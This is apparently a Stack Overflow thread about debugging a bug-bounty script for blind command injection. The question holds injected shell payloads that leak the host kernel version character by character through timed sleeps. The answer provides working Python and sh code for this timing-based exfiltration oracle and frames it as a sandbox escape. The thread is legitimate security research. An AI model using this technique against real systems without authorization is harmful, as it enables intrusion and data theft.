0

I have a script that I am using for a bug bounty program and am running blind code/command injection with. I have already made the application sleep for 60 seconds based on user id boolean comparisons, so I know it's there.

What I am trying to do now is run shell commands, set them to a shell variable and blindly assess each one char by char, true or false.

The issue I am having is that the the variables I am setting are not being picked up by the host. I am testing this on my local machine at the moment, Kali.

When I print the output of the commands I can see $char for example rather than the shell variable char.

1: kernel_version=$(uname -r); 
2: char=$(echo $kernel_version | head -c 1 | tail -c 1); 
3: if [[ $char == M ]]; then sleep 60 ; exit; fi

How can I correct the below code so that variable are set and picked up correctly?

def bash_command(self, char, position):
        cmd1 = "kernel_version=$(uname -r); "
        cmd2 = f"char=$(echo $kernel_version | head -c {position} | tail -c 1); "

        op = '==' if char in self.letters + self.numbers else '-eq'

        cmd3 = f"if [[ $char {op} {char} ]]; then sleep 60 ; exit; fi"

        print("1: " + cmd1)
        print("2: " + cmd2)
        print("3: " + cmd3)

        return cmd1 + cmd2 + cmd3

Full Code:

https://raw.githubusercontent.com/richardcurteis/BugBountyPrograms/master/qc_container_escape.py

Charles Duffy
  • 280,126
  • 43
  • 390
  • 441
3therk1ll
  • 2,056
  • 4
  • 35
  • 64
  • 1
    i can't understand what did you expect from this command `uname -r | head -c 39 | tail -c 1` , could you please show a sample of input and output – Mahmoud Odeh May 20 '20 at 21:52
  • 2
    That said, _how_ you're running the code matters immensely. Provide a [mre] – Charles Duffy May 20 '20 at 21:58
  • @MahmoudOdeh, I've edited that line, it shouldn't have been '39'. What it does is look for teh first character in the output of `uname -r` – 3therk1ll May 20 '20 at 22:55
  • @CharlesDuffy edit inbound. I've linked to Github – 3therk1ll May 20 '20 at 22:58
  • Your bash_command is interpreted by Python. So if you do `cmd = "uname -a"`, Pyhton will not run `$(uname -a)` and assign the result into variable cmd. Python will assign the string "uname -a" to the cmd variable. – Nic3500 May 20 '20 at 23:09
  • Does this answer your question? [Running Bash commands in Python](https://stackoverflow.com/questions/4256107/running-bash-commands-in-python) – Nic3500 May 20 '20 at 23:10
  • That use of `os.popen()` is a critical detail needed to reproduce and not currently included in the question itself. A [mre], by definition, needs to *actually reproduce* a specific and well-defined problem when run without modifications. – Charles Duffy May 21 '20 at 00:13
  • BTW, `os.popen()` uses `sh`, not `bash`; they're different shells, and `[[` (among other features) isn't guaranteed to be supported. – Charles Duffy May 21 '20 at 00:13
  • 1
    I would also **strongly** suggest using [`shlex.quote()`](https://docs.python.org/3/library/shlex.html#shlex.quote) when generating content that will be parsed by a shell as code. – Charles Duffy May 21 '20 at 00:15
  • Even though I answered this, btw, I'm not sure it's a good knowledgebase entry as currently written. The title asks a question we have asked and answered many times over, whereas your _real_ question is much more obscure and includes a bunch of unstated corner cases. – Charles Duffy May 21 '20 at 00:34
  • 1
    If you _did_ have a guarantee that the relevant `sh` is `bash`, by the way, it would be far more efficient to use `${kernel_version:$position:1}` to extract a single character instead of the head/tail pipeline. See https://wiki.bash-hackers.org/syntax/pe for discussion of the syntax used. – Charles Duffy May 21 '20 at 01:52

1 Answers1

0

To sum up the question: You have a sandbox escape that lets you invoke a shell via os.popen() and determine the time taken by the call (but not the return value), and you want to extract /proc/version by guess-and-check.

The most immediate bug in your original code is that it depended on bash-only syntax, whereas os.popen() uses /bin/sh, which isn't guaranteed to support same.

The other thing that was... highly questionable as a practice (especially as a security researcher!) was the generation of code via string concatenation without any explicit escaping. C'mon -- we, as an industry, can do better than that. Even though os.popen() is a fairly limited channel if you can't set environment variables, one can use shlex.quote() to set values safely, and separate the program being executed from the process setup that precedes it.

shell_cmd = '''
position=$1
test_char=$2
kernel_version=$(uname -r)
found_char=$(printf '%s\n' "$kernel_version" | head -c "$position" | tail -c 1)
[ "$test_char" = "$found_char" ] && sleep 2
'''

import os, shlex, popen, time

def run_with_args(script, args):
    args_str = ' '.join([shlex.quote(str(arg)) for arg in args])
    set_args_cmd = 'set -- ' + args_str + ';'
    # without read(), we don't wait for execution to finish, and can't see timing
    os.popen(set_args_cmd + script).read()

def check_char(char, pos):
    start_time = time.time()
    run_with_args(shell_cmd, [pos+1, char]) # use zero-based offsets like sane people
    end_time = time.time()
    return end_time - start_time > 1

...whereafter, on a system with a 5.0 kernel, check_char('5', 0) will return True, but check_char('4', 0) will return False.

(Using timing as a channel assumes that there are countermeasures you're overcoming that prevent you from simply reading data from the FIFO that os.popen() returns; of course, if you can possibly do that instead, you should!)

Charles Duffy
  • 280,126
  • 43
  • 390
  • 441
  • Thanks for the answer and feedback, Charles. I hadn't known about `shlex.quote()`, I will utilise that in fture. – 3therk1ll May 21 '20 at 08:51